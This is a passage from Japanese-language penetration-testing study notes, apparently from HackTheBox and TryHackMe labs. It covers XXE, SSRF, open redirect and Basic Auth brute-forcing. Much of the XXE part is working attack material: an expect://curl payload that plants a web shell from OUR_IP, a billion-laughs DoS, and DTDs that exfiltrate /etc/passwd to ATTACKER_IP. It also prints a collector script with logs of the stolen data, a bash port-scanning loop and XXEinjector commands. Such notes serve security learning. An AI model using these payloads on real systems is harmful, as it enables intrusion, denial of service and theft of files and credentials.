  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP:8080/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
```

* リクエストを送信すると、ターゲットサーバーが自動的に shell.php をダウンロードし、Webシェルとして配置される
* その後、URLでアクセスしてコマンドを実行できる

⚠️ 注意

* expect モジュールはモダンなPHP環境ではインストールされていないことが多く、常に成功するとは限らない
* そのため、XXEは通常、ファイルの開示やソースコードの読み取りに使われ、他の脆弱性の発見や権限昇格の足がかりとなる

#### SSRF

* Server Side Request Forgery
* XXEは、SSRF攻撃にも使用されることもある
  * ローカルポートの列挙
  * ローカルホスト上のサービスへのアクセス
  * 内部の管理ページやAPIの取得 が可能になる

#### DoS

* 以下のようなペイロードを使って、無限に自己参照するエンティティを定義し、サーバーのリソースを枯渇させられる
* XMLパーサーの再帰参照処理を悪用してサーバーをクラッシュさせる  - ただし、最新のWebサーバー（例：Apache）では自己参照対策がされているため、上記の攻撃は効果がないことが多い

```xml
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
```

#### CDATA を用いた高度な情報漏洩

* PHPフィルターが使えない時
* **CDATA タグ**（例：`<![CDATA[ FILE_CONTENT ]]>`）で外部ファイルの中身を囲んで XML パーサに「生データ」として処理させることができる
  * これにより、特殊文字を含むデータも XML フォーマットを壊すことなく取り扱える
* 簡単な方法
  * CDATA の開始・終了タグを内部エンティティとして定義し、その間に外部ファイルのエンティティを挿入する
* CDATAに**XML パラメータエンティティ**（parameter entity）を組み合わせる
* % 記号で始まり、DTD 内でのみ使用可能な特殊なエンティティ
* パラメータエンティティを外部ソース（例：自分のサーバ）から参照することで、全体を外部エンティティとして扱い、結合することが可能になる

```shell-session
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
```

XMLとして、これを送信する

* このリクエストを送ると、`submitDetails.php`のソースコードがそのまま表示される

```xml
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
```

![](https://i.imgur.com/Z1gPZKy.png)

* Base64 エンコードせずに直接取得できるため、効率的に様々なファイルを調査し、パスワードやシークレット情報を探すことが可能
* 注意 : 一部のモダンな Web サーバでは、index.php などのファイルを読み取ろうとすると、**自己参照ループ（DoS 攻撃）を防止するため**に読み取りをブロックする場合がある

#### ErrorベースXXE

* 「ウェブアプリケーションが出力を一切表示しない」場合のXXE
* webアプリケーションの出力がない場合は、XML入力エンティティの出力内容をコントロールできない
  * 通常の方法ではファイルを取得できない
  * だけど、webアプリケーションが実行時にエラーを出すなら、XXEの出力結果を読み取ることができる
    * XML入力に対して適切な例外処理を行っていない場合

**エラーを起こさせる方法**

* 閉じタグを削除する
* タグの綴りを変更して閉じないようにする（例：`<root>` の代わりに `<roo>`）
* 存在しないエンティティを参照する ![](https://i.imgur.com/7aPuaFg.png)
* エラーが出力された
* その中でウェブサーバーのディレクトリ構造が明らかになった
* これにより、他のファイルのソースコードを読み取るための手がかりを得ることができる

まず、以下のペイロードを含むDTDファイルをホスティングする

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
```

* このペイロードでは、まず `%file` というパラメータエンティティを定義し、それを存在しないエンティティ `%nonExistingEntity;` と連結する形で `%error` を定義している
* 今回は %nonExistingEntity; が存在しない
  * アプリケーションは「そのエンティティが存在しない」というエラーを表示し、その中に %file; の内容（つまり /etc/hosts の内容）が含まれることになる
* 以下のようなXMLデータを使って外部DTDスクリプトを呼び出し、`%error;`を参照する

```xml
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>
```

![](https://i.imgur.com/XtmI5lA.png)

* ファイルのソースコードを読むことも可能
* DTDスクリプト内のファイル名を、例えば "file:///var/www/html/submitDetails.php" のように変更するだけ
* でもいくつかの制限がある
  * 出力される内容に長さ制限がある場合がある
  * 特殊文字が含まれていると出力が崩れることがある

### アウトオブバンドXXE

* 完全にブラインドな状況
  * つまり「XMLエンティティの出力も、PHPのエラーも一切表示されない」ようなケースで、ファイルの内容をどのように取得するかを見ていく
  * 今までのどのXEE脆弱性も機能しない
* これまでは、読み込んだファイルの内容をXMLエンティティに出力させようとしていた
* 今回は、ファイルの内容を含んだ**HTTPリクエストを、ターゲットサーバーから自分のサーバーに送信させる**という方法をとる

### データ抽出

#### 例1

**攻撃者のサーバーでホストするコード** index.php

```php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

自分のマシンでPHPサーバーを立てる

```shell-session
php -S 0.0.0.0:8000
```

**送信するxmlペイロード**

* 読み取りたいファイルの内容を取得するために、PHPフィルターを使ってその内容をBase64エンコード
* 自分のサーバーにリクエストを送信させるような外部エンティティを定義する

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>
```

* 例えば、対象ファイルの中身が XXE\_SAMPLE\_DATA
  * `%file;` には Base64 エンコードされた WFhFX1NBTVBMRV9EQVRB が入る
  * XMLが外部エンティティ `%oob;` を参照した時、ターゲットサーバーは次のようなリクエストを送る `http://OUR_IP:8000/?content=WFhFX1NBTVBMRV9EQVRB`
* これを受け取ったら、`WFhFX1NBTVBMRV9EQVRB`をBase64デコードすることで、ファイルの内容を取得できる

![](https://i.imgur.com/LiLyHxB.png)

#### 例2

ファイルをアップロードしたら、XMLがPOSTされていることが確認できた しかし、Responseに送信したPOSTの中身が含まれていない → In-Band XXEは使用できない

Out of Band XXEは使用できる？ ![](https://i.imgur.com/kdR4A9L.png)

脆弱性の確認 攻撃者の方で、HTTPでwebサーバーを立てる

```sh
python3 -m http.server 1337
```

そして、同時にリクエストを以下に変更して送信する

```xml
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>
```

実行すると、リクエストが飛んでくる

* サーバーとの接続が確立されると、アプリケーションから機密情報が抽出できることを示してる ![](https://i.imgur.com/3wLKqlG.png)

外部エンティティとPHPフィルターを含むDTDファイルを作成して、ターゲットのwebappから情報を抜き出す 以下をsample.dtdとして保存して、そこにアクセスさせる

* /etc/passwd の内容を抜き取り、それを攻撃者が管理するサーバーに送信する

```sample.dtd
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;
```

ペイロードが実行される流れ

1. `%cmd`というエンティティを宣言して、システムリソースを参照
2. `%cmd`エンティティは、PHPのフィルタープロトコル `php://filter/convert.base64-encode/resource=/etc/passwd` を指す
3. `/etc/passwd` の内容を取得する
4. `convert.base64-encode` フィルターは、その内容をBase64形式にエンコードし、フォーマットの問題を回避する
5. `%oobxxe` エンティティは `exfil` という名前のXMLエンティティを定義する
   * 攻撃者が管理するサーバー（<http://ATTACKER\\_IP:1337/）にアクセスするよう構成>
6. Base64エンコードされた`/etc/passwd`の内容（`%cmd`）をdataパラメータとして送信する

BurpSuiteでの設定 Requestで送るもの

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://10.13.88.79:1337/sample.dtd">
<upload><file>&exfil;</file></upload>
```

![](https://i.imgur.com/FcXJChM.png)

すると、/etc/passwdの内容がBase64でエンコードされた文字列が返ってくる

* 成功

```┌──(kali㉿kali)-[~/desktop/thm/module/xxe_injection]
└─$ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
10.10.23.175 - - [06/Jul/2025 07:10:16] "GET /sample.dtd HTTP/1.0" 200 -
10.10.23.175 - - [06/Jul/2025 07:10:17] "GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFy...== HTTP/1.0" 200 -

```

### SSRF + XXE

#### 内部ネットワークスキャン

* 攻撃者はXXEの脆弱性を利用して、サーバー自身に対してその内部リソースへのリクエストを送らせることができる

BurpのIntruderを利用して、空いているポートをスキャンすることができる

```xml
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>
```

サーバーでの処理の流れ

1. XML中で \&xxe; エンティティが `<name>` タグ内で参照される
2. サーバーは指定されたURLへHTTPリクエストを送る

仮にアプリケーション内に**秘密鍵、APIキー、ハードコーディングされたパスワード**などが含まれていたら、それらの情報が漏えいし、**パスワードの再利用攻撃**など別の攻撃へとつながる可能性がある

フリーのBurpでは遅いので、コマンドを書くとこんな感じ

```sh
cat ports.txt | xargs -P 20 -I {} bash -c '
  port={}
  response=$(curl -s -X POST http://10.10.23.175/contact_submit.php \
    -H "Content-Type: application/xml" \
    -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM \"http://localhost:${port}/\" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>")

  if echo "$response" | grep -iq "Flag"; then
    echo "Found flag on port $port!"
    echo "----- Response Start (port $port) -----"
    echo "$response"
    echo "----- Response End -----"
  fi
'
```

### 自動化ツール

* XXEinjectorというツールがある

```shell-session
git clone https://github.com/enjoiz/XXEinjector.git
```

HTTPリクエストの準備

* Burp SuiteなどでキャプチャしたHTTPリクエストをファイルに保存する
* XMLデータの完全な内容は書かず、最初の1行だけ記述し、そのすぐ下に XXEINJECT と書いておく必要がある
  * ツールがXMLの挿入ポイントを特定するためのマーカーとして必要

```http
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
```

攻撃の実行

```shell-session
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
```

各オプションの意味

* \--host：自分のマシンのIP（ターゲットが接続してくる先）
* \--httpport：自分のHTTPサーバーのポート番号
* \--file：先ほど保存したリクエストファイル
* \--path：ターゲットから読みたいファイルパス
* \--oob=http：OOB抽出をHTTPで行う
* \--phpfilter：PHPフィルターを使ってBase64エンコードさせる

ログファイルでの確認

* すべての抽出されたデータは、ツール内の Logs フォルダに保存される

```shell-session
 cat Logs/10.129.201.94/etc/passwd.log 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..
```

## オープンリダイレクト

### 概要

* インパクト : 小
* 与えられれたドメインに対する信頼を悪用して、ターゲットを悪意あるWebサイトに誘導する

### 発見する時に注目すべき箇所

* URLパラメータ
  * 例
  * url=
  * redirect=
  * next=
  * r=
  * u=
  * domain\_name=
* DOMのwindow locationパラメータ
  * `window.location = https://www.google.com`
  * `window.location.href = https://www.google.com`
  * `window.location.replace = https://www.google.com`
* リダイレクト先のURLに任意のドメインを追加することができるか
  * <https://mystore.myshopify.com.`><attacker>\`.comとかになったら、attacker.comにアクセスが飛ぶ
  * `.`や`@`といった特別なURL文字列を入れた後に、任意のドメインを入れて試す
* HTMLの`<meta>`タグ内のcontent
  * URLパラメータから値を動的に設定している場合とか
    * 例 : \`

### 直接的な影響

### 攻撃者が間接的に行うことができる攻撃

* フィッシングサイトへのアクセス
* マルウェアのサイト
* OAuthのトークンを盗む

### 直接的には関係ない学び

* HTTPレスポンスのLocationヘッダーは、GETリクエストのリダイレクト先を指定する
* HTMLの`<meta>`タグは、ブラウザーに対してWebページをリフレッシュし、タグのcontent属性で定義されたURLにGETリクエストを発行するように依頼する
  * content属性は、指定したURLへのHTTPリクエストの発行までにブラウザーが待つ時間
    * content="0"の場合、0秒でリダイレクト先のHTTPのリクエストを行う
* DOM
  * HTMLを構文解析して、webページに表示してるやつ
  * HTML のような文書の構造をメモリー内に表現することで、ウェブページとスクリプトやプログラミング言語を接続するもの
  * JSとかで、書き換えることができるやつWebページのボタンを押したら、文字がぽちぽち変わるやつ、あれはDOM

## 脆弱性名

### 概要

* インパクト : 小・中・大
*

### 発見する時に注目すべき箇所

### 直接的な影響

### 攻撃者が間接的に行うことができる攻撃

### 直接的には関係ない学び

## ベーシック認証へのブルートフォース

\[\[Pentest\_Technique/Linux・Windows共通]]のffufでもやってる

目的 : Basic Authentication を利用しているウェブサイトに対してブルートフォース攻撃、辞書攻撃を行い、ログイン資格情報を取得する。

Basic Authenticationはこんなやつ↓ ![](https://i.imgur.com/VTmAa0S.png)

1. ターゲットにアクセス
   * <http://enum.thm/labs/basic\\_auth/> にアクセスする。
2. Basic Authentication のリクエストを取得
   * ポップアップが表示されるので、適当な ユーザー名とパスワード を入力し、ログインを試みる。
   * Burp Suite を使用して、このリクエストをキャプチャする。
3. Burp Suite の Intruder にリクエストを送信
   * キャプチャしたリクエストを 右クリック → "Send to Intruder" で Intruder に送る。
4. Authorization ヘッダーのデコード
   * "Positions" タブ に移動し、Authorization ヘッダーの base64 エンコードされた認証情報 をデコードする（base64 decode）。 BurpでBase64デコードする手順 ![](https://i.imgur.com/x5r1zdu.png)
5. パスワードリストを設定
   * "Payloads" タブ に移動し、"Payload type" を "Simple list" に設定する。
   * 使用するパスワードリストを選択
   * AttackBox の場合:
   * /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt
6. ペイロードの処理ルールを追加
   1. ユーザー名とパスワードを一緒に特殊文字で囲む
      * 例えば "admin:123456" の形式にする。
   2. base64 エンコード
      * ユーザー名とパスワードを base64 エンコードし、Authorization ヘッダーに適用。
   3. "="（イコール）を削除 - base64 ではパディングに「=」が使用されるため、エンコードから文字「=」（等号）も削除する - 「Payload encoding」の中に=を加える 上の設定を全て行ったときの画面 ![](https://i.imgur.com/FeAJfXL.png)
7. 攻撃の実行
   * "Positions" タブ に戻り、"Start Attack" をクリック。
8. 成功したレスポンスを確認
   * ステータスコード 200 を確認する。
   * ステータス 200 が返ってきたリクエストの Authorization ヘッダーをデコードすると、正しい資格情報（username:password）が判明する。 ステータスコードが200の、ログインできる認証情報を発見した画面 ![](https://i.imgur.com/wmNsU3R.png)
9. 入手した資格情報でログイン
   * 成功したユーザー名とパスワード を使用し、ウェブサイトにログインする。
   * フラグが表示される。

## 引用

* HackTheBoxの各種関連ページ
* Yaworski, P. (2020). リアルワールドバグハンティング: ハッキング事例から学ぶウェブの脆弱性. オライリー・ジャパン. ISBN 9784873119212. URL: <https://books.google.co.jp/books?id=ayzbzQEACAAJ>
